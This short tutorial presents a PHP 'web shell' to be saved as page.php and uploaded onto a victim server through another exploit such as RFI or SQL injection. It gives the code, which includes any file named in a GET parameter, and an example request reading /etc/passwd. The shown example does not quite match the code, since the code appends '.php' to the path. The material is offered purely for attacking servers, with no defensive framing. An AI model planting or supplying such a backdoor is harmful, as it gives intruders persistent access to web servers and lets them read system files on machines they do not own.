PHP web shell page=

Save the below commands to a file called page.php

To utilize this simple web shell you will need to find a way to upload it on the system via some other exploit such as RFI, or sql injection. Once it is in the on the webserver

http://example.com/page.php?page=/etc/passwd

<?php  
   if (isset($_GET['page']))  
   {  
      include($_GET['page'] . '.php');  
   }  
?>